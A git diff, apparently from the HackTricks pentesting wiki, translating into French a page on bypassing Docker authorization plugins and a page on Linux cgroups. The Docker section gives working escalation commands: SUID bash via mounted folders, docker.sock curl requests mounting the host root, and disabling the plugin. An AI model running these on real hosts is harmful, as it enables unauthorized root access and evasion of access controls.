corps de demande/réponse pour lesquels le `Content-Type` est soit `text/*` ou `application/json` sont envoyés. -For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins. +Pour les commandes qui peuvent potentiellement détourner la connexion HTTP (`HTTP Upgrade`), telles que `exec`, le plugin d'autorisation n'est appelé que pour les requêtes HTTP initiales. Une fois que le plugin approuve la commande, l'autorisation n'est pas appliquée au reste du flux. En particulier, les données de streaming ne sont pas transmises aux plugins d'autorisation. Pour les commandes qui renvoient une réponse HTTP fragmentée, telles que `logs` et `events`, seule la requête HTTP est envoyée aux plugins d'autorisation. -During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies. +Pendant le traitement de la demande/réponse, certains flux d'autorisation peuvent nécessiter des requêtes supplémentaires au démon Docker. Pour terminer de tels flux, les plugins peuvent appeler l'API du démon de manière similaire à un utilisateur régulier. Pour permettre ces requêtes supplémentaires, le plugin doit fournir les moyens à un administrateur de configurer des politiques d'authentification et de sécurité appropriées. -## Several Plugins +## Plusieurs plugins -You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted. +Vous êtes responsable de **l'enregistrement** de votre **plugin** en tant que partie du **démarrage** du démon Docker. Vous pouvez installer **plusieurs plugins et les chaîner ensemble**. Cette chaîne peut être ordonnée. Chaque demande au démon passe dans l'ordre à travers la chaîne. Seulement lorsque **tous les plugins accordent l'accès** à la ressource, l'accès est accordé. -# Plugin Examples +# Exemples de plugins ## Twistlock AuthZ Broker -The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user. +Le plugin [**authz**](https://github.com/twistlock/authz) vous permet de créer un **fichier JSON** simple que le **plugin** va **lire** pour autoriser les demandes. Par conséquent, cela vous donne la possibilité de contrôler très facilement lesquels des points d'API peuvent être atteints par chaque utilisateur. -This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` +Voici un exemple qui permet à Alice et Bob de créer de nouveaux conteneurs : `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` -In the page [route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action +Dans la page [route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go), vous pouvez trouver la relation entre l'URL demandée et l'action. Dans la page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go), vous pouvez trouver la relation entre le nom de l'action et l'action. -## Simple Plugin Tutorial +## Tutoriel de plugin simple -You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) +Vous pouvez trouver un **plugin facile à comprendre** avec des informations détaillées sur l'installation et le débogage ici : [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) -Read the `README` and the `plugin.go` code to understand how is it working. +Lisez le fichier `README` et le code `plugin.go` pour comprendre comment cela fonctionne. -# Docker Auth Plugin Bypass +# Contournement du plugin d'authentification Docker -## Enumerate access +## Énumérer l'accès -The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**. +Les principales choses à vérifier sont **lesquels des points d'extrémité sont autorisés** et **lesquelles des valeurs de HostConfig sont autorisées**. -To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)**.** +Pour effectuer cette énumération, vous pouvez **utiliser l'outil** [**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)**.** -## disallowed `run --privileged` - -### Minimum Privileges +## `run --privileged` non autorisé +### Privilèges minimums ```bash docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash ``` +### Exécution d'un conteneur puis obtention d'une session privilégiée -### Running a container and then getting a privileged session - -In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container: - +Dans ce cas, l'administrateur système **a interdit aux utilisateurs de monter des volumes et d'exécuter des conteneurs avec le drapeau `--privileged` ou de donner des capacités supplémentaires au conteneur** : ```bash docker run -d --privileged modified-ubuntu docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. See 'docker run --help'. ``` - -However, a user can **create a shell inside the running container and give it the extra privileges**: - +Cependant, un utilisateur peut **créer un shell à l'intérieur du conteneur en cours d'exécution et lui donner des privilèges supplémentaires**: ```bash docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de @@ -96,13 +89,11 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be # With --cap-add=SYS_ADMIN docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash ``` +Maintenant, l'utilisateur peut s'échapper du conteneur en utilisant l'une des [**techniques précédemment discutées**](./#privileged-flag) et **élever les privilèges** à l'intérieur de l'hôte. -Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host. - -## Mount Writable Folder - -In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder: +## Monter un dossier inscriptible +Dans ce cas, l'administrateur système a **interdit aux utilisateurs d'exécuter des conteneurs avec le drapeau `--privileged`** ou de donner des capacités supplémentaires au conteneur, et il a seulement autorisé le montage du dossier `/tmp`: ```bash host> cp /bin/bash /tmp #Cerate a copy of bash host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell @@ -111,28 +102,26 @@ docker container> chmod u+s /host/bash host> /tmp/bash -p #This will give you a shell as root ``` - {% hint style="info" %} -Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +Notez que vous ne pouvez peut-être pas monter le dossier `/tmp`, mais vous pouvez monter un **dossier différent accessible en écriture**. Vous pouvez trouver des répertoires accessibles en écriture en utilisant la commande : `find / -writable -type d 2>/dev/null` -**Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +**Notez que tous les répertoires d'une machine Linux ne prendront pas en charge le bit suid !** Pour vérifier quels répertoires prennent en charge le bit suid, exécutez la commande `mount | grep -v "nosuid"`. Par exemple, généralement `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` et `/var/lib/lxcfs` ne prennent pas en charge le bit suid. -Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +Notez également que si vous pouvez **monter `/etc`** ou tout autre dossier **contenant des fichiers de configuration**, vous pouvez les modifier depuis le conteneur Docker en tant que root pour **les exploiter sur l'hôte** et escalader les privilèges (peut-être en modifiant `/etc/shadow`). {% endhint %} -## Unchecked API Endpoint +## Point d'extrémité API non vérifié -The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.** +La responsabilité de l'administrateur système configurant ce plugin serait de contrôler les actions et les privilèges que chaque utilisateur peut effectuer. Par conséquent, si l'administrateur prend une approche de **liste noire** avec les points d'extrémité et les attributs, il pourrait **oublier certains d'entre eux** qui pourraient permettre à un attaquant d'**escalader les privilèges**. -You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) +Vous pouvez vérifier l'API Docker sur [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) -## Unchecked JSON Structure +## Structure JSON non vérifiée -### Binds in root - -It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\ -In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host: +### Liens dans la racine +Il est possible que lorsque l'administrateur système a configuré le pare-feu Docker, il ait **oublié un paramètre important** de l' [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) comme "**Liens**".\ +Dans l'exemple suivant, il est possible d'exploiter cette mauvaise configuration pour créer et exécuter un conteneur qui monte le dossier racine (/) de l'hôte : ```bash docker version #First, find the API version of docker, 1.40 in this example docker images #List the images available @@ -142,39 +131,31 @@ docker start f6932bc153ad #Start the created privileged container docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it #You can access the host filesystem ``` - {% hint style="warning" %} -Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`** +Notez comment dans cet exemple, nous utilisons le paramètre **`Binds`** en tant que clé de niveau racine dans le JSON, mais dans l'API, il apparaît sous la clé **`HostConfig`** {% endhint %} -### Binds in HostConfig - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: +### Binds dans HostConfig +Suivez les mêmes instructions que pour **Binds dans root** en effectuant cette **requête** à l'API Docker: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create ``` +### Montages dans la racine -### Mounts in root - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +Suivez les mêmes instructions que pour les **liens dans la racine** en effectuant cette **requête** à l'API Docker: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create ``` +### Montages dans HostConfig -### Mounts in HostConfig - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +Suivez les mêmes instructions que pour les **liens dans root** en effectuant cette **requête** à l'API Docker: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre ``` +## Attribut JSON non vérifié -## Unchecked JSON Attribute - -It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS\_MODULE** capability: - +Il est possible que lorsque l'administrateur système a configuré le pare-feu Docker, il ait **oublié un attribut important d'un paramètre de l'API** (https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) tel que "**Capabilities**" à l'intérieur de "**HostConfig**". Dans l'exemple suivant, il est possible d'exploiter cette mauvaise configuration pour créer et exécuter un conteneur avec la capacité **SYS\_MODULE** : ```bash docker version curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create @@ -184,15 +165,13 @@ docker exec -it c52a77629a91 bash capsh --print #You can abuse the SYS_MODULE capability ``` - {% hint style="info" %} -The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions. +Le **`HostConfig`** est la clé qui contient généralement les **privilèges intéressants** pour s'échapper du conteneur. Cependant, comme nous l'avons discuté précédemment, notez que l'utilisation de **Binds** en dehors de celui-ci fonctionne également et peut vous permettre de contourner les restrictions. {% endhint %} -## Disabling Plugin - -If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it! +## Désactivation du plugin +Si l'**administrateur système** a **oublié** d'**interdire** la possibilité de **désactiver** le **plugin**, vous pouvez en profiter pour le désactiver complètement ! ```bash docker plugin list #Enumerate plugins @@ -204,14 +183,13 @@ docker plugin disable authobot docker run --rm -it --privileged -v /:/host ubuntu bash docker plugin enable authobot ``` - -Remember to **re-enable the plugin after escalating**, or a **restart of docker service won’t work**! +N'oubliez pas de **réactiver le plugin après l'escalade**, sinon un **redémarrage du service docker ne fonctionnera pas**! ## Auth Plugin Bypass writeups * [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/) -# References +# Références * [https://docs.docker.com/engine/extend/plugins\_authorization/](https://docs.docker.com/engine/extend/plugins\_authorization/) @@ -220,16 +198,14 @@ Remember to **re-enable the plugin after escalating**, or a **restart of docker ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/linux-hardening/privilege-escalation/docker-security/cgroups.md b/linux-hardening/privilege-escalation/docker-security/cgroups.md index a03efe2ae..81c49ace5 100644 --- a/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -1,29 +1,28 @@ -# CGroups +## CGroups
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Basic Information +## Informations de base -**Linux control groups**, also known as cgroups, are a Linux kernel feature that allows you to **limit**, police, and prioritize **system resources** for a collection of processes. Cgroups provide a way to **manage and isolate the resource usage** (CPU, memory, disk I/O, network, etc.) of groups of processes in a system. This can be useful for many purposes, such as limiting the resources available to a particular group of processes, isolating certain types of workloads from others, or prioritizing the use of system resources between different groups of processes. +Les **groupes de contrôle Linux**, également connus sous le nom de cgroups, sont une fonctionnalité du noyau Linux qui vous permet de **limiter**, de contrôler et de prioriser les **ressources système** pour une collection de processus. Les cgroups fournissent un moyen de **gérer et d'isoler l'utilisation des ressources** (CPU, mémoire, E/S de disque, réseau, etc.) de groupes de processus dans un système. Cela peut être utile pour de nombreuses fins, telles que la limitation des ressources disponibles pour un groupe particulier de processus, l'isolation de certains types de charges de travail des autres, ou la priorisation de l'utilisation des ressources système entre différents groupes de processus. -There are **two versions of cgroups**, 1 and 2, and both are currently in use and can be configured simultaneously on a system. The most **significant difference** between cgroups version 1 and **version 2** is that the latter introduced a new hierarchical organization for cgroups, where groups can be arranged in a **tree-like structure** with parent-child relationships. This allows for a more flexible and fine-grained control over the allocation of resources between different groups of processes. +Il existe **deux versions de cgroups**, 1 et 2, et les deux sont actuellement utilisées et peuvent être configurées simultanément sur un système. La **différence la plus significative** entre la version 1 et la **version 2** des cgroups est que cette dernière a introduit une nouvelle organisation hiérarchique pour les cgroups, où les groupes peuvent être disposés dans une structure **arborescente** avec des relations parent-enfant. Cela permet un contrôle plus flexible et plus fin de l'allocation des ressources entre différents groupes de processus. -In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance. +En plus de la nouvelle organisation hiérarchique, la version 2 des cgroups a également introduit **plusieurs autres changements et améliorations**, tels que le support de **nouveaux contrôleurs de ressources**, un meilleur support pour les applications héritées et des performances améliorées. -Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern. - -You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\. You can start by looking at your shell’s cgroups with this command: +Dans l'ensemble, la version 2 des cgroups **offre plus de fonctionnalités et de meilleures performances** que la version 1, mais cette dernière peut encore être utilisée dans certains scénarios où la compatibilité avec les anciens systèmes est une préoccupation. +Vous pouvez lister les cgroups v1 et v2 pour n'importe quel processus en regardant son fichier cgroup dans /proc/\. Vous pouvez commencer par regarder les cgroups de votre shell avec cette commande : ```shell-session $ cat /proc/self/cgroup 12:rdma:/ @@ -38,69 +37,52 @@ $ cat /proc/self/cgroup 1:name=systemd:/user.slice/user-1000.slice/session-2.scope 0::/user.slice/user-1000.slice/session-2.scope ``` +Ne soyez pas alarmé si la **sortie est considérablement plus courte** sur votre système; cela signifie simplement que vous avez probablement **seulement des cgroups v2**. Chaque ligne de sortie commence par un numéro et représente un cgroup différent. Voici quelques points à prendre en compte pour la lecture : -Don’t be alarmed if the **output is significantly shorter** on your system; this just means that you probably **have only cgroups v2**. Every line of output here starts with a number and is a different cgroup. Here are some pointers on how to read it: +* Les numéros 2 à 12 sont pour les cgroups v1. Les **contrôleurs** pour ceux-ci sont listés à côté du numéro. +* Le numéro 1 est également pour la **version 1**, mais il n'a pas de contrôleur. Ce cgroup est uniquement destiné à des **fins de gestion** (dans ce cas, systemd l'a configuré). +* La dernière ligne, le **numéro 0**, est pour les **cgroups v2**. Aucun contrôleur n'est visible ici. Sur un système qui n'a pas de cgroups v1, ce sera la seule ligne de sortie. +* Les **noms sont hiérarchiques et ressemblent à des parties de chemins de fichiers**. Vous pouvez voir dans cet exemple que certains des cgroups sont nommés /user.slice et d'autres /user.slice/user-1000.slice/session-2.scope. +* Le nom /testcgroup a été créé pour montrer que dans les cgroups v1, les cgroups pour un processus peuvent être complètement indépendants. +* Les noms sous user.slice qui incluent session sont des sessions de connexion, attribuées par systemd. Vous les verrez lorsque vous regarderez les cgroups d'un shell. Les cgroups pour vos services système seront sous system.slice. -* **Numbers 2–12 are for cgroups v1**. The **controllers** for those are listed next to the number. -* **Number 1** is also for **version 1**, but it does not have a controller. This cgroup is for **management purposes** only (in this case, systemd configured it). -* The last line, **number 0**, is for **cgroups v2**. No controllers are visible here. On a system that doesn’t have cgroups v1, this will be the only line of output. -* **Names are hierarchical and look like parts of file paths**. You can see in this example that some of the cgroups are named /user.slice and others /user.slice/user-1000.slice/session-2.scope. -* The name /testcgroup was created to show that in cgroups v1, the cgroups for a process can be completely independent. -* **Names under user.slice** that include session are login sessions, assigned by systemd. You’ll see them when you’re looking at a shell’s cgroups. The **cgroups** for your **system services** will be **under system.slice**. +### Visualisation des cgroups -### Viewing cgroups - -Cgroups are typically **accessed through the filesystem**. This is in contrast to the traditional Unix system call interface for interacting with the kernel.\ -To explore the cgroup setup of a shell, you can look in the `/proc/self/cgroup` file to find the shell's cgroup, and then navigate to the `/sys/fs/cgroup` (or `/sys/fs/cgroup/unified`) directory and look for a **directory with the same name as the cgroup**. Changing to this directory and looking around will allow you to see the various **settings and resource usage information for the cgroup**. +Les cgroups sont généralement **accessibles via le système de fichiers**. Cela contraste avec l'interface d'appel système Unix traditionnelle pour interagir avec le noyau.\ +Pour explorer la configuration des cgroups d'un shell, vous pouvez regarder dans le fichier `/proc/self/cgroup` pour trouver le cgroup du shell, puis naviguer vers le répertoire `/sys/fs/cgroup` (ou `/sys/fs/cgroup/unified`) et chercher un **répertoire portant le même nom que le cgroup**. En changeant de répertoire et en regardant autour, vous pourrez voir les différents **paramètres et informations d'utilisation des ressources pour le cgroup**.
-Among the many files that can be here, **the primary cgroup interface files begin with `cgroup`**. Start by looking at `cgroup.procs` (using cat is fine), which lists the processes in the cgroup. A similar file, `cgroup.threads`, also includes threads. +Parmi les nombreux fichiers qui peuvent être ici, **les fichiers d'interface de cgroup principaux commencent par `cgroup`**. Commencez par regarder `cgroup.procs` (utiliser cat est bien), qui liste les processus dans le cgroup. Un fichier similaire, `cgroup.threads`, inclut également les threads.
-Most cgroups used for shells have these two controllers, which can control the **amount of memory** used and the **total number of processes in the cgroup**. To interact with a controller, look for the **files that match the controller prefix**. For example, if you want to see the number of threads running in the cgroup, consult pids.current: +La plupart des cgroups utilisés pour les shells ont ces deux contrôleurs, qui peuvent contrôler la **quantité de mémoire** utilisée et le **nombre total de processus dans le cgroup**. Pour interagir avec un contrôleur, cherchez les **fichiers qui correspondent au préfixe du contrôleur**. Par exemple, si vous voulez voir le nombre de threads en cours d'exécution dans le cgroup, consultez pids.current :
-A value of **max means that this cgroup has no specific limit**, but because cgroups are hierarchical, a cgroup back down the subdirectory chain might limit it. +Une valeur de **max signifie que ce cgroup n'a pas de limite spécifique**, mais parce que les cgroups sont hiérarchiques, un cgroup en aval de la chaîne de sous-répertoires pourrait le limiter. -### Manipulating and Creating cgroups - -To put a process into a cgroup, **write its PID to its `cgroup.procs` file as root:** +### Manipulation et création de cgroups +Pour mettre un processus dans un cgroup, **écrivez son PID dans son fichier `cgroup.procs` en tant que root :** ```shell-session # echo pid > cgroup.procs ``` - -This is how many changes to cgroups work. For example, if you want to **limit the maximum number of PIDs of a cgroup** (to, say, 3,000 PIDs), do it as follows: - +Voici comment fonctionnent les modifications apportées aux cgroups. Par exemple, si vous souhaitez **limiter le nombre maximal de PIDs d'un cgroup** (à, disons, 3 000 PIDs), procédez comme suit : ```shell-session # echo 3000 > pids.max ``` +**La création de cgroups est plus délicate**. Techniquement, c'est aussi simple que de créer un sous-répertoire quelque part dans l'arborescence des cgroups ; lorsque vous le faites, le noyau crée automatiquement les fichiers d'interface. Si un cgroup n'a pas de processus, vous pouvez supprimer le cgroup avec rmdir même si les fichiers d'interface sont présents. Ce qui peut vous tromper, ce sont les règles régissant les cgroups, notamment : -**Creating cgroups is trickier**. Technically, it’s as easy as creating a subdirectory somewhere in the cgroup tree; when you do so, the kernel automatically creates the interface files. If a cgroup has no processes, you can remove the cgroup with rmdir even with the interface files present. What can trip you up are the rules governing cgroups, including: +* Vous ne pouvez mettre des **processus que dans des cgroups de niveau supérieur ("feuille")**. Par exemple, si vous avez des cgroups nommés /my-cgroup et /my-cgroup/my-subgroup, vous ne pouvez pas mettre de processus dans /my-cgroup, mais /my-cgroup/my-subgroup est correct. (Une exception est si les cgroups n'ont pas de contrôleurs, mais ne creusons pas plus loin.) +* Un cgroup **ne peut pas avoir de contrôleur qui n'est pas dans son cgroup parent**. +* Vous devez **spécifier explicitement les contrôleurs pour les cgroups enfants**. Vous le faites via le fichier `cgroup.subtree_control`; par exemple, si vous voulez qu'un cgroup enfant ait les contrôleurs cpu et pids, écrivez +cpu +pids dans ce fichier. -* You can put **processes only in outer-level (“leaf”) cgroups**. For example, if you have cgroups named /my-cgroup and /my-cgroup/my-subgroup, you can’t put processes in /my-cgroup, but /my-cgroup/my-subgroup is okay. (An exception is if the cgroups have no controllers, but let’s not dig further.) -* A cgroup **can’t have a controller that isn’t in its parent cgroup**. -* You must explicitly **specify controllers for child cgroups**. You do this through the `cgroup.subtree_control` file; for example, if you want a child cgroup to have the cpu and pids controllers, write +cpu +pids to this file. +Une exception à ces règles est le **cgroup racine** situé en bas de la hiérarchie. Vous pouvez **placer des processus dans ce cgroup**. Une raison pour laquelle vous pourriez vouloir le faire est de détacher un processus du contrôle de systemd. -An exception to these rules is the **root cgroup** found at the bottom of the hierarchy. You can **place processes in this cgroup**. One reason you might want to do this is to detach a process from systemd’s control. - -Even with no controllers enabled, you can see the CPU usage of a cgroup by looking at its cpu.stat file: +Même sans contrôleurs activés, vous pouvez voir l'utilisation du CPU d'un cgroup en regardant son fichier cpu.stat :
-Because this is the accumulated CPU usage over the entire lifespan of the cgroup, you can see how a service consumes processor time even if it spawns many subprocesses that eventually terminate. - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
